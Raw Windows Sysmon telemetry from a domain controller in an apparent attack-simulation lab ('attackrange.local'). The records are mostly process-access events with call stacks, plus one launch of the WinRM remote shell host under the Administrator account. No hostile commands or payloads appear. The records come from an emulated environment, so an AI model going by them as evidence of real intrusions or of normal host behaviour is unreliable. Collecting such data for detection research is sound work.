09:08:46.534{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000647Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.534{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-272E-5F80-0E00-000000007E01}1100C:\Windows\system32\LogonUI.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+163fd|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+d69b2|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000646Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.534{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000645Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.534{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0900-000000007E01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+796b|c:\windows\system32\lsm.dll+2b2a|c:\windows\system32\SYSNTFY.dll+15cd|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+599c8|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000644Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.534{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0900-000000007E01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|c:\windows\system32\SYSNTFY.dll+1ad9|C:\Windows\System32\RPCRT4.dll+581c4|C:\Windows\System32\RPCRT4.dll+39bd0|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000643Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-289E-5F80-1B03-000000007E01}33844132C:\Windows\system32\conhost.exe{A5F018FF-289E-5F80-1A03-000000007E01}4220C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000642Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-2724-5F80-0500-000000007E01}640760C:\Windows\system32\csrss.exe{A5F018FF-289E-5F80-1B03-000000007E01}3384C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000641Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000640Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000639Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000638Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000637Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000636Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000635Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000634Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000633Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000632Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-2724-5F80-0500-000000007E01}6402972C:\Windows\system32\csrss.exe{A5F018FF-289E-5F80-1A03-000000007E01}4220C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000631Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-289E-5F80-1A03-000000007E01}4220C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000630Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.524{A5F018FF-289E-5F80-1A03-000000007E01}4220C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-289E-5F80-0621-120000000000}0x1221060HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-272D-5F80-0C00-000000007E01}572C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x8000000000000000629Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000628Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000627Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.518{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000626Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000625Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000624Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000623Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:46.424{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000622Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 